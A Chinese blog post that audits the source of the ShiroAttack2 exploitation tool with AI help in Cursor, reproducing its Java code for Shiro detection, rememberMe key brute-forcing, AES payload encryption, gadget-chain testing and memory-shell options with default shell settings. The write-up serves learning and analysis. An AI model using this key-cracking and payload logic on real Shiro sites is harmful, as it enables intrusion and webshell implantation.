前言 前段时间我以代码审计的角度重新审计过shiro1.2.4反序列化漏洞后发现,这种代审的角度和当时参考的博客审计角度较为单一,只分析了漏洞发生的原因,没有很完整的代码审计,因此我觉得对我的代审水平提升不大,不如直接找一个现成的项目结合AI来进行完整的分析,这不上次shiro漏洞利用博客中提到一个shiro利用工具嘛,他是师傅开源的,说干就干,本博客将边审计边更新博客-保姆级审计😄。尽量以开发者的角度去分析代码,非二次审计,因此可能会写的较为粗糙(BYD没有参考博客,全靠手搓)。
shiro_attack2-4.7.0反序列化漏洞利用工具源码分析 工具介绍 shiro_attack2-4.7.0 工具就不介绍了,就是个漏洞利用工具 位置如下https://github.com/SummerSec/ShiroAttack2/releases/tag/4.7.0
cursor cursor是一个集成了GPT4、Claude 3.5等先进LLM的类vscode的编译器,可以理解为在vscode中集成了AI辅助编程助手。 刷视频看到很多人喜欢拿这个写毕设,嘻嘻,那么可以用它来配合我代码审计
ctrl+I 打开ai对话分析代码就对了 操作什么的看这个https://zhuanlan.zhihu.com/p/16508727483
IDEA 因为shiro利用工具是用java编写,所以直接拖到IDEA分析即可
页面构造源码分析 首先让ai进行分析我们拖入的源码
根据ai分析,项目基于java,使用javaFX图形框架 主入口在src/main/java/com/summersec/attack/UI/Main.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package com.summersec.attack.UI;import com.summersec.attack.utils.HttpUtil_bak;import javafx.application.Application;import javafx.fxml.FXMLLoader;import javafx.scene.Parent;import javafx.scene.Scene;import javafx.stage.Stage;public class Main extends Application { public Main () { } @Override public void start (Stage primaryStage) throws Exception { Parent root = FXMLLoader.load(getClass().getResource("/gui.fxml" )); primaryStage.setTitle("shiro反序列化漏洞综合利用工具 增强版 SummerSec" ); Scene scene = new Scene (root); primaryStage.setScene(scene); primaryStage.show(); HttpUtil_bak.disableSslVerification(); } public static void main (String[] args) { launch(args); } }
定位到入口看看
OK,Main.java主要是构建图形界面,加载了gui.fxml ctrl+左键进入查看这个文件 gui.fxml主要就是图形界面的内容,和html差不多 由于有三百多行,所以按部分分析
1 2 3 4 5 6 <? import javafx.geometry.*?> <? import javafx.scene.*?> <? import javafx.scene.control.*?> <? import javafx.scene.effect.*?> <? import javafx.scene.layout.*?> <? import javafx.scene.text.*?>
导入功能和java的import功能一样
再看vBox标签 VBox标签定义了整体布局
1 2 3 4 5 // prefHeight = "800.0" :首选高度800 像素// prefWidth = "1000.0" :首选宽度1000 像素//m ax/minHeight="-Infinity":最大/ 最小高度无限制,-Infinity表示无约束,可随内容调整// fx:controller="com.summersec.attack.UI.MainController" :指定这个FXML文件的控制器类 <VBox maxHeight="-Infinity" maxWidth="-Infinity" minHeight="-Infinity" minWidth="-Infinity" prefHeight="800.0" prefWidth="1000.0" xmlns="http://javafx.com/javafx/11.0.2" xmlns:fx="http://javafx.com/fxml/1" fx:controller="com.summersec.attack.UI.MainController" >
设置-代理页面构建 来分析第一个功能点 在gui.fxml对应
1 2 3 4 5 6 7 8 9 <MenuBar > <menus > <Menu mnemonicParsing ="false" text ="设置" > <items > <MenuItem fx:id ="proxySetupBtn" mnemonicParsing ="false" text ="代理" /> </items > </Menu > </menus > </MenuBar >
首先,前面VBox标签指定了FXML文件的控制器类 步骤是这样的 当执行FXMLLoader.load()时,JavaFX框架内部会:
读取gui.fxml文件
解析XML结构
发现 fx:controller=”com.summersec.attack.UI.MainController” 看上面代码的id,当点击代理时
在 FXML 中查找 fx:id=”proxySetupBtn”
找到对应的 MenuItem 节点 找到后,FXMLLoader会自动 查找并调用initialize()方法 至于为啥自动,这是一个javaFX的一个特性,不详细了解 跟进一下initToolbar,代码太多,直接以注释的形式1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 private void initToolbar() { this.proxySetupBtn.setOnAction((event ) -> { Alert inputDialog = new Alert(AlertType.NONE) ; inputDialog.setResizable(true ) ; Window window = inputDialog.getDialogPane() .getScene() .getWindow() ; window.setOnCloseRequest((e ) -> { window.hide() ; }); ToggleGroup statusGroup = new ToggleGroup() ; RadioButton enableRadio = new RadioButton("启用" ) ; RadioButton disableRadio = new RadioButton("禁用" ) ; enableRadio.setToggleGroup(statusGroup ) ; disableRadio.setToggleGroup(statusGroup ) ; HBox statusHbox = new HBox() ; statusHbox.setSpacing(10.0D) ; statusHbox.getChildren() .add(enableRadio); statusHbox.getChildren() .add(disableRadio); GridPane proxyGridPane = new GridPane() ; proxyGridPane.setVgap(15.0D) ; proxyGridPane.setPadding(new Insets(20.0D, 20.0D, 0.0D, 10.0D) ); Label typeLabel = new Label("类型:" ) ; ComboBox<String> typeCombo = new ComboBox() ; typeCombo.setItems(FXCollections.observableArrayList (new String[]{"HTTP" , "SOCKS" }) ); typeCombo.getSelectionModel() .select(0 ); Label IPLabel = new Label("IP地址:" ) ; TextField IPText = new TextField() ; IPText . setText("127.0.0.1" ) ; Label PortLabel = new Label("端口:" ) ; TextField PortText = new TextField() ; PortText . setText("8080" ) ; Label userNameLabel = new Label("用户名:" ) ; TextField userNameText = new TextField() ; Label passwordLabel = new Label("密码:" ) ; TextField passwordText = new TextField() ; Button cancelBtn = new Button("取消" ) ; Button saveBtn = new Button("保存" ) ; saveBtn.setDefaultButton(true ) ; if (currentProxy.get("proxy" ) != null) { Proxy currProxy = (Proxy)currentProxy.get("proxy" ); String proxyInfo = currProxy.address() .to String() ; String[] info = proxyInfo.split(":" ); String hisIpAddress = info[0 ] .replace("/" , "" ); String hisPort = info[1 ] ; IPText . setText(hisIpAddress ) ; PortText . setText(hisPort ) ; enableRadio.setSelected(true ) ; System . out.println(proxyInfo); } else { enableRadio.setSelected(false ) ; } saveBtn.setOnAction((e ) -> { if (disableRadio.isSelected() ) { currentProxy.put("proxy" , (Object)null); this.proxyStatusLabel.setText("" ) ; inputDialog.getDialogPane() .getScene() .getWindow() .hide() ; } else { String type ; String ipAddress; if (!userNameText.getText() .trim() .equals("" )) { ipAddress = userNameText.getText() .trim() ; type = passwordText.getText() ; String finalIpAddress = ipAddress; String finalType = type ; Authenticator . setDefault(new Authenticator() { @Override public PasswordAuthentication getPasswordAuthentication() { return new PasswordAuthentication(finalIpAddress , finalType .toCharArray () ); } }); } else { Authenticator . setDefault((Authenticator) null); } currentProxy.put("username" , userNameText.getText() ); currentProxy.put("password" , passwordText.getText() ); ipAddress = IPText . getText() ; String port = PortText . getText() ; InetSocketAddress proxyAddr = new InetSocketAddress(ipAddress , Integer.parseInt (port ) ); type = ((String)typeCombo.getValue() ).to String() ; Proxy proxy; if (type .equals("HTTP" )) { proxy = new Proxy(Type.HTTP, proxyAddr ) ; currentProxy.put("proxy" , proxy); } else if (type .equals("SOCKS" )) { proxy = new Proxy(Type.SOCKS, proxyAddr ) ; currentProxy.put("proxy" , proxy); } this.proxyStatusLabel.setText("代理生效中: " + ipAddress + ":" + port ) ; inputDialog.getDialogPane() .getScene() .getWindow() .hide() ; } }); cancelBtn.setOnAction((e ) -> { inputDialog.getDialogPane() .getScene() .getWindow() .hide() ; }); proxyGridPane.add(statusHbox, 1 , 0 ); proxyGridPane.add(typeLabel, 0 , 1 ); proxyGridPane.add(typeCombo, 1 , 1 ); proxyGridPane.add(IPLabel, 0 , 2 ); proxyGridPane.add(IPText, 1 , 2 ); proxyGridPane.add(PortLabel, 0 , 3 ); proxyGridPane.add(PortText, 1 , 3 ); proxyGridPane.add(userNameLabel, 0 , 4 ); proxyGridPane.add(userNameText, 1 , 4 ); proxyGridPane.add(passwordLabel, 0 , 5 ); proxyGridPane.add(passwordText, 1 , 5 ); HBox buttonBox = new HBox() ; buttonBox.setSpacing(20.0D) ; buttonBox.setAlignment(Pos.CENTER) ; buttonBox.getChildren() .add(cancelBtn); buttonBox.getChildren() .add(saveBtn); GridPane . setColumnSpan(buttonBox , 2) ; proxyGridPane.add(buttonBox, 0 , 6 ); inputDialog.getDialogPane() .setContent(proxyGridPane ) ; inputDialog.showAndWait() ; }); }
以上代码注意一个点是currentProxy.put("proxy", proxy);,这一步把代理配置存入全局静态map,上面代码未以用代理发送请求 以上代码只是把代理对象存到全局currentProxy,不会立刻发请求,真正用到代理是在后续“发请求”的方法里,比如AttackService.headerHttpRequest()/bodyHttpRequest(),这些方法会从currentProxy去除代理并setProxy(…)。调用链大致是:
再对话框点击“保存”->currentProxy.put(“proxy”,proxy)(仅存储)
之后点击功能按钮(如“检测/爆破密钥”、“检测/爆破利用链”、“执行命令”、“注入内存马”):
UI事件里先initAttack()创建AttackService
AttackService内部再发HTTP时调用headerHttpRequest()或bodyHttpRequest()
这两个方法里 Proxy proxy = (Proxy) MainController.currentProxy.get(“proxy”);,再 .setProxy(proxy) 发送请求
示例(发请求时取代理并设置)
1 2 Proxy proxy = (Proxy)MainController . currentProxy.get("proxy" ); cn.hutool.http.HttpUtil . createRequest(... ) .setProxy(proxy ) ...
所以:保存代理 != 立刻请求;只有当后续按钮触发 AttackService 里的请求方法时,代理才会被取用并生效。
初始化所有下拉框的选项和默认值 按照顺序,接下来继续跟进this.initComBoBox();
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 public void initComBoBox() { ObservableList<String> methods = FXCollections . observableArrayList(new String[]{"GET" , "POST" }) ; this.methodOpt.setPromptText("GET" ) ; this.methodOpt.setValue("GET" ) ; this.methodOpt.setItems(methods ) ; ObservableList<String> gadgets = FXCollections . observableArrayList(new String[]{ "CommonsBeanutils1" ,"CommonsBeanutils1_183" , "CommonsCollections2" , "CommonsCollections3" , "CommonsCollectionsK1" , "CommonsCollectionsK2" , "CommonsBeanutilsString" , "CommonsBeanutilsString_183" , "CommonsBeanutilsAttrCompare" , "CommonsBeanutilsAttrCompare_183" , "CommonsBeanutilsPropertySource" ,"CommonsBeanutilsPropertySource_183" , "CommonsBeanutilsObjectToStringComparator" , "CommonsBeanutilsObjectToStringComparator_183" }) ; this.gadgetOpt.setPromptText("CommonsBeanutilsString" ) ; this.gadgetOpt.setValue("CommonsBeanutilsString" ) ; this.gadgetOpt.setItems(gadgets ) ; ObservableList<String> echoes = FXCollections . observableArrayList(new String[]{"AllEcho" ,"TomcatEcho" , "SpringEcho" }) ; this.echoOpt.setPromptText("TomcatEcho" ) ; this.echoOpt.setValue("TomcatEcho" ) ; this.echoOpt.setItems(echoes ) ; this.shellPassText.setText("pass1024" ) ; this.shellPathText.setText("/favicondemo.ico" ) ; final ObservableList<String> memShells = FXCollections . observableArrayList(new String[]{"哥斯拉[Filter]" , "蚁剑[Filter]" , "冰蝎[Filter]" , "NeoreGeorg[Filter]" , "reGeorg[Filter]" , "哥斯拉[Servlet]" , "蚁剑[Servlet]" , "冰蝎[Servlet]" , "NeoreGeorg[Servlet]" , "reGeorg[Servlet]" , "ChangeShiroKey[Filter]" , "ChangeShiroKey[Filter2]" , "BastionFilter" , "BastionEncryFilter" , "AddDllFilter" }) ; this.memShellOpt.setPromptText("冰蝎[Filter]" ) ; this.memShellOpt.setValue("冰蝎[Filter]" ) ; this.memShellOpt.setItems(memShells ) ; this.memShellOpt.getSelectionModel() .selectedIndexProperty() .addListener(new ChangeListener<Number>() { @Override public void changed(ObservableValue<? extends Number> observableValue, Number number, Number number2) { if (((String)memShells.get(number2.int Value() )).contains("reGeorg" ) ) { MainController . this.shellPassText.setDisable(true ) ; } else { MainController . this.shellPassText.setDisable(false ) ; } if (((String)memShells.get(number2.int Value() )).contains("ChangeShiroKey" )){ MainController . this.shellPathText.setDisable(true ) ; MainController . this.shellPassText.setText("FcoRsBKe9XB3zOHbxTG0Lw==" ) ; }else { MainController . this.shellPathText.setDisable(false ) ; } } }); this.shellPathText.setText("/favicondemo.ico" ) ; }
设置页面控件的默认值
1 2 3 4 5 6 public void initContext () { this .shiroKeyWord.setText("rememberMe" ); this .httpTimeout.setText("10" ); }
将当前MainController实例注册到全局控制器 1 ControllersFactory . controllers.put(MainController .class .getSimpleName() , this);
这段代码的作用时是,将当前MainController实例注册到ControllerFactory的全局Map,供其他类获取 例如AttackService的构造函数里,要把日志写回UI或控制页面的组件,就回去全局取控制器
1 this .mainController = (MainController) ControllersFactory.controllers.get (MainController.class .getSimpleName());
得到控制器后,就能调用 mainController.logTextArea.appendText(…)、mainController.gadgetOpt.setValue(…) 之类的 UI 操作。
开发者思路
initialize()完成界面自初始化(菜单、下拉框、默认值),最后一步登记到Factory。
核心服务AttackService、命令执行、内存马注入等模块随时可以通过Factory调用UUI组件,形成完整闭环;
UI按钮点击->创建/调用AttackService
AttackService在内部需要更新日志/状态时,再通过Factory找到控制默认->反向更新UI
这种模式像“全局事件中心”或“控制器管理器”,减少直接耦合,让多个类共享同一个UI控制器实例。
功能源码分析
检测当前密钥分析 首先在gui.fxml找到入口,按键绑定
1 2 3 4 <Button fx:id ="crackSpcKeyBtn" mnemonicParsing ="false" onAction ="#crackSpcKeyBtn" prefHeight ="25.0" prefWidth ="113.0" text ="检测当前密钥" > <font > <Font size ="14.0" /> </font > </Button >
接着定位控制器方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 @FXML void crackSpcKeyBtn(ActionEvent event) { this .initAttack(); if (this .attackService.checkIsShiro()) { String spcShiroKey = this .shiroKey.getText(); if (!spcShiroKey.equals("" )) { this .attackService.simpleKeyCrack(spcShiroKey); } else { this .logTextArea.appendText(Utils.log("请输入指定密钥" )); } } }
跟进initAttack
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 public void initAttack() { String shiroKeyWordText = this.shiroKeyWord.getText() ; String targetAddressText = this.targetAddress.getText() ; String httpTimeoutText = this.httpTimeout.getText() ; Map<String, String> myheader= new HashMap<>() ; if (!this.globalHeader.getText() .equals("" )) { String headers[] = this.globalHeader.getText() .split("&&&" ); for (int i = 0 ; i < headers.length; i++ ) { String header[] = headers[i ] .split(":" , 2 ); if (header[0 ] .to LowerCase() .equals("cookie" )) { myheader.put("Cookie" , header[1 ] ); } else { myheader.put(header[0 ] , header[1 ] ); } } } String postData = (String)this.post_data.getText() ; String reqMethod = (String)this.methodOpt.getValue() ; this.attackService = new AttackService(reqMethod , targetAddressText , shiroKeyWordText , httpTimeoutText ,myheader ,postData ) ; if (this.aesGcmOpt.isSelected() ) { AttackService . aesGcmCipherType = 1 ; } else { AttackService . aesGcmCipherType = 0 ; } }
跟进AttackService.checkIsShiro()方法 回到fxml绑定的事件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 @FXML void crackSpcKeyBtn(ActionEvent event) { this .initAttack(); if (this .attackService.checkIsShiro()) { String spcShiroKey = this .shiroKey.getText(); if (!spcShiroKey.equals("" )) { this .attackService.simpleKeyCrack(spcShiroKey); } else { this .logTextArea.appendText(Utils.log("请输入指定密钥" )); } } }
initAttack()分析完了,现在分析跟进checkIsShiro()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 public boolean checkIsShiro() { boolean flag = false ; try { HashMap<String, String> header = new HashMap() ; header.put("Cookie" , this.shiroKeyWord + "=yes" ); String result = this.headerHttpRequest(header ) ; flag = result.contains("=deleteMe" ); if (flag) { this.mainController.logTextArea.appendText(Utils.log ("[++] 存在shiro框架!" ) ); flag = true ; flagCount = countDeleteMe(result ) ; } else { HashMap<String, String> header1 = new HashMap() ; header1.put("Cookie" , this.shiroKeyWord + "=" + AttackService . getRandomString(10) ); String result1 = this.headerHttpRequest(header1 ) ; flag = result1.contains("=deleteMe" ); if (flag){ this.mainController.logTextArea.appendText(Utils.log ("[++] 存在shiro框架!" ) ); flag = true ; flagCount = countDeleteMe(result ) ; }else { this.mainController.logTextArea.appendText(Utils.log ("[-] 未发现shiro框架!" ) ); } } } catch (Exception var4) { if (var4.getMessage() != null) { this.mainController.logTextArea.appendText(Utils.log (var4 .getMessage () )); } } return flag; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public String headerHttpRequest(HashMap<String, String> header ) { String result = null; HashMap combineHeaders = this.getCombineHeaders(header ) ; Proxy proxy = (Proxy)MainController . currentProxy.get("proxy" ); try { if (this.method .equals("GET" )) { result = cn.hutool.http.HttpUtil . createRequest(Method.valueOf (this .method ) ,this.url).setProxy(proxy ) .headerMap(combineHeaders ,true ) .setFollowRedirects(false ) .execute() .to String() ; } else { result = HttpUtil . postHttpReuest(this .url , this .postData , "UTF-8" , combineHeaders , "application/x-www-form-urlencoded" , this .timeout ) ; System . out.println(result); } } catch (Exception var5) { this.mainController.logTextArea.appendText(Utils.log (var5 .getMessage () )); } return result; }
ok,headerHttpRequest分析完了,但是里面还涉及到了一个方法
跟进一下getCombineHeaders() 调用地方如图所示,跟进一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public HashMap <String , String > getCombineHeaders (HashMap <String , String > header) { HashMap <String , String > combineHeaders = new HashMap (); Set<String > keySet = globalHeader.keySet (); if (keySet.size () != 0 ) { for (String key : keySet) { if (key .equals ("Cookie" )) { header.replace ("Cookie" , globalHeader.get (key ) + "; " + header.get (key )); combineHeaders.putAll (header); } else { combineHeaders.putAll (header); combineHeaders.put (key , globalHeader.get (key )); } } } else { combineHeaders = header; } return combineHeaders; }
跟进attackService.simpleKeyCrack()方法 回到MainController.crackSpcKeyBtn()调用 crtl+鼠标左键跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public void simpleKeyCrack(String shiroKey ) { try { List<String> tempList = new ArrayList() ; tempList.add(shiroKey); if (flagCount ==1 ){ this.keyTestTask(tempList ) ; } else { this.keyTestTask2(tempList ) ;} } catch (Exception var3) { this.mainController.logTextArea.appendText(Utils.log (var3 .getMessage () )); } }
跟进keyTestTask()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 public void keyTestTask(final List<String> shiroKeys ) { Thread thread = new Thread(new Runnable() { public void run() { try { for (int i = 0 ; i < shiroKeys.size() ; ++i) { String shirokey = (String)shiroKeys.get(i); try { String rememberMe = AttackService . shiro.sendpayload(AttackService . principal, AttackService . this.shiroKeyWord, (String)shiroKeys.get(i)); HashMap<String, String> header = new HashMap() ; header.put("Cookie" , rememberMe); String result = AttackService . this.headerHttpRequest(header ) ; Thread . sleep(100L ); if (result!=null &&!result.isEmpty() &&!result.contains("=deleteMe" )) { AttackService . this.mainController.logTextArea.appendText(Utils.log ("[++] 找到key:" + shirokey ) ); AttackService . this.mainController.shiroKey.setText(shirokey ) ; AttackService . realShiroKey = shirokey; break; } AttackService . this.mainController.logTextArea.appendText(Utils.log ("[-] " + shirokey ) ); } catch (Exception var6) { AttackService . this.mainController.logTextArea.appendText(Utils.log ("[-] " + shirokey + " " + var6 .getMessage () )); } } AttackService . this.mainController.logTextArea.appendText(Utils.log ("[+] 爆破结束" ) ); } catch (Exception var7) { throw var7; } } }); thread.start() ; }
跟进shiro.sendpayload()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 @Overridepublic String sendpayload (Object chainObject, String shiroKeyWord, String key ) throws Exception { byte [] serpayload = SerializableUtils.toByteArray (chainObject); byte [] bkey = DatatypeConverter.parseBase64Binary (key ); byte [] encryptpayload = null ; if (AttackService.aesGcmCipherType == 1 ) { ShiroGCM shiroGCM = new ShiroGCM (); String byteSource = shiroGCM.encrypt (key ,serpayload); System.out .println (shiroKeyWord + "=" + byteSource); return shiroKeyWord + "=" + byteSource; } else { CbcEncrypt cbcEncrypt = new CbcEncrypt (); String byteSource = cbcEncrypt.encrypt (key , serpayload); System.out .println (shiroKeyWord + "=" + byteSource); return shiroKeyWord + "=" + byteSource; } }
这里byte[] serpayload = SerializableUtils.toByteArray(chainObject);其实前面并没有分析,这个引用方法是使用的第三方库com.mchange.v2.ser.SerializableUtils,但是这个里面传入的参数有必要去跟踪一下 回溯chainObject的形成过程与调用链 往回推一下函数的调用与参数,回到sendpayload() 第一个参数,ctrl+左键查看
1 public static Object principal = KeyEcho.getObject();
AttackService类加载时,静态变量principal被初始化为KeyEcho.getObject()的返回值。 那么再跟近一下KeyEcho.getObject() 返回一个SimplePrincipalCollection实例。 SimplePrincipalCollection不必跟进,是一个内部类,大致解释一下SimplePrincipalCollection就是
类名:org.apache.shiro.subject.SimplePrincipalCollection
来源:Apache Shiro 框架
作用:存储用户主体(Principal)信息的集合类
特点:实现了 Serializable,可被序列化
也就是这个值被序列化了那么为什么使用 SimplePrincipalCollection?
它是Shiro框架的标准类,序列化格式稳定
空对象体积小,序列化后字节数少,加密/传输效率高
密钥正确时能正常反序列化;错误时解密失败或反序列化异常,便于判断
不包含恶意代码,仅用于密钥检测
好的,那现在回到sendpayload SerializableUtils.toByteArray是第三方库,不必要继续分析,就是一个序列化库 那现在分析加密cbc加密函数cbcEncrypt.encrypt()
1 2 3 4 5 6 7 8 9 10 11 12 @Override public String encrypt (String key, byte [] objectBytes) { byte [] keyDecode = Base64.decode(key); AesCipherService cipherService = new AesCipherService (); SimpleByteSource byteSource = (SimpleByteSource) cipherService.encrypt(objectBytes, keyDecode); return byteSource.toBase64(); }
说明一下关键点
方法参数
key: base64编码的密钥字符串(例如 “4AvVhmFLUs0KTA3Kprsdag==”)
objectBytes:已序列化的字节数组(来自SerializableUtils.toByteArray(chainObject))
AES-CBC加密流程 1、Base64 解码密钥:Base64.decode(key) ->keyDecode(字节数组) 2、创建加密服务:AesCipherService(默认使用 AES/CBC/PKCS5Padding) 3、加密数据:cipherService.encrypt(objectBytes, keyDecode)
自动生成16字节IV
使用密钥加密objectBytes
返回格式:[IV(16字节)][加密后的数据] 4、Base64编码:将IV+密文转为Base64字符串
分析一下内部类方法cipherService.encrypt() ok,现在这个分析完了,继续跟进一下内部类cipherService.encrypt()
文件位置:org.apache.shiro.crypto.AesCipherService(Apache Shiro 框架)
作用:执行AES-CBC加密
内部流程: 1、 生成16字节随机IV 2、 使用密钥和IV初始化Cipher(AES/CBC/PKCS5Padding) 3、 加密objectBytes 4、 返回[IV][密文]的字节数组
看下源码 里面的私有encrypt方法就不跟进了 当然还有shiroGCM.encrypt()方法也是自定义的,这个就不跟进分析了,把墨水留给主要的吧 好的,那么到了这里sendpayload()算是分析完了 回到 keysCrack()函数,因为keyTestTask()已经分析完了 现在看看多shiro场景的爆破key方式
跟进keyTestTask2()方法 同样的回到keysCrack()函数然后ctrl+左键跟进keyTestTask2()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 public void keyTestTask2(final List<String> shiroKeys ) { Thread thread = new Thread(new Runnable() { public void run() { try { for (int i = 0 ; i < shiroKeys.size() ; ++i) { String shirokey = (String)shiroKeys.get(i); try { String rememberMe = AttackService . shiro.sendpayload(AttackService . principal, AttackService . this.shiroKeyWord, (String)shiroKeys.get(i)); HashMap<String, String> header = new HashMap() ; header.put("Cookie" , rememberMe); String result = AttackService . this.headerHttpRequest(header ) ; Thread . sleep(100L ); if (result!=null &&!result.isEmpty() &&countDeleteMe(result ) <flagCount) { AttackService . this.mainController.logTextArea.appendText(Utils.log ("[++] 找到key:" + shirokey ) ); AttackService . this.mainController.shiroKey.setText(shirokey ) ; AttackService . realShiroKey = shirokey; break; } AttackService . this.mainController.logTextArea.appendText(Utils.log ("[-] " + shirokey ) ); } catch (Exception var6) { AttackService . this.mainController.logTextArea.appendText(Utils.log ("[-] " + shirokey + " " + var6 .getMessage () )); } } AttackService . this.mainController.logTextArea.appendText(Utils.log ("[+] 爆破结束" ) ); } catch (Exception var7) { throw var7; } } }); thread.start() ; }
对比keyTestTask()方法发现基本相同,不同的点在于判断语句
1 if (result ! =null &&!result.isEmpty ()&&countDeleteMe (result )<flagCount )
就是判断如果少了一个或多个deleteme就是密钥使用正确,没什么可分析的
那么到现在simpleKeyCrack也分析完了
爆破密钥分析 回到起点 看一看gui.fxml 爆破密钥处,绑定了一个事件
1 2 3 4 <Button fx:id ="crackKeyBtn" mnemonicParsing ="false" onAction ="#crackKeyBtn" prefHeight ="28.0" prefWidth ="161.0" text ="爆破密钥" > <font > <Font size ="14.0" /> </font > </Button >
ctrl+左键跟进一下
跟进crackKeyBtn()方法 1 2 3 4 5 6 7 8 9 @FXML void crackKeyBtn(ActionEvent event) { this .initAttack(); if (this .attackService.checkIsShiro()) { this .attackService.keysCrack(); } }
前两个方法已经分析过了,现在跟进一下keysCrack()方法
跟进attackService.keysCrack()方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public void keysCrack() { try { List<String> shiroKeys = this .getALLShiroKeys(); if (flagCount ==1 ){ this .keyTestTask(shiroKeys); } else { this .keyTestTask2(shiroKeys); this .mainController.logTextArea.appendText(Utils.log("[++] 含有多个shiro场景" )); } } catch (Exception var2) { this .mainController.logTextArea.appendText(Utils.log(var2.getMessage())); } }
跟进attackService.getALLShiroKeys() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 public List<String > getALLShiroKeys() { ArrayList shiroKeys = new ArrayList (); try { List<String > array = new ArrayList (Arrays.asList(cwd, "data" , "shiro_keys.txt" )); File shiro_file = new File (StringUtils.join(array, File.separator)); BufferedReader br = new BufferedReader (new InputStreamReader (new FileInputStream (shiro_file), "UTF-8" )); try { String line; try { while ((line = br.readLine()) != null ) { shiroKeys.add(line); } } catch (IOException var10) { var10.printStackTrace(); } } finally { if (br != null ) { br.close(); } } } catch (Exception var12) { String message = var12.getMessage(); System.out.println(message); } return shiroKeys; }
也挺好理解的,就是读取文件密钥的操作 密钥在这里,但是byd运行源码发现路径指定的是这里 将target中的密钥文件复制到/data/目录下 就没问题了,封装版本的不用管
ok,爆破密钥到这就分析完了
检测当前利用链分析 定位检测当前利用链 在gui.fxml定位
1 2 3 4 <Button fx:id ="crackSpcGadgetBtn" mnemonicParsing ="false" onAction ="#crackSpcGadgetBtn" prefHeight ="25.0" prefWidth ="188.0" text ="检测当前利用链" > <font > <Font size ="14.0" /> </font > </Button >
进入按钮绑定事件crackSpcGadgetBtn
跟进crackSpcGadgetBtn() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 @FXML void crackSpcGadgetBtn(ActionEvent event) { String spcShiroKey = this .shiroKey.getText(); if (this .attackService == null ) { this .initAttack(); } if (!spcShiroKey.equals("" )) { boolean flag = this .attackService.gadgetCrack((String)this .gadgetOpt.getValue(), (String)this .echoOpt.getValue(), spcShiroKey); if (!flag) { this .logTextArea.appendText(Utils.log("未找到构造链" )); } } else { this .logTextArea.appendText(Utils.log("请先手工填入key或者爆破Shiro key" )); } }
跟进attackService.gadgetCrack() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 public boolean gadgetCrack(String gadgetOpt , String echoOpt , String spcShiroKey ) { boolean flag = false ; try { String rememberMe = this.GadgetPayload(gadgetOpt , echoOpt , spcShiroKey ) ; if (rememberMe != null) { HashMap header = new HashMap() ; header.put("Cookie" , rememberMe + ";" ); String result = this.headerHttpRequest(header ) ; if (result.contains("Host" )) { System . out.println(result); this.mainController.logTextArea.appendText(Utils.log ("[++] 发现构造链:" + gadgetOpt + " 回显方式: " + echoOpt ) ); this.mainController.logTextArea.appendText(Utils.log ("[++] 请尝试进行功能区利用。" ) ); this.mainController.gadgetOpt.setValue(gadgetOpt ) ; this.mainController.echoOpt.setValue(echoOpt ) ; gadget = gadgetOpt; attackRememberMe = rememberMe; flag = true ; System . out.println("Cookie:" +rememberMe + ";" ); } else { this.mainController.logTextArea.appendText(Utils.log ("[-] 测试:" + gadgetOpt + " 回显方式: " + echoOpt ) ); } } } catch (Exception var8) { this.mainController.logTextArea.appendText(Utils.log (var8 .getMessage () )); } return flag; }
分析到
1 if (result .contains ("Host" ))
在分析这一行时我对于返回信息有所疑惑,Host为什么会出现到返回包里,于是搭建了靶场测试一下,发现这里与一般的http返回包不同 下图是调试时输出的返回包result信息 可以看到包含了Host,代表利用链成功触发回显 那么这是一个条件语句,那么否的条件呢,这里使用另一条错误的利用链调试 可以看到,使用错误的利用链并不会返回Host头,这就能够以此进行区分
好了,问题解决了,那么继续跟进一下GadgetPayload(),看看如何构造利用链
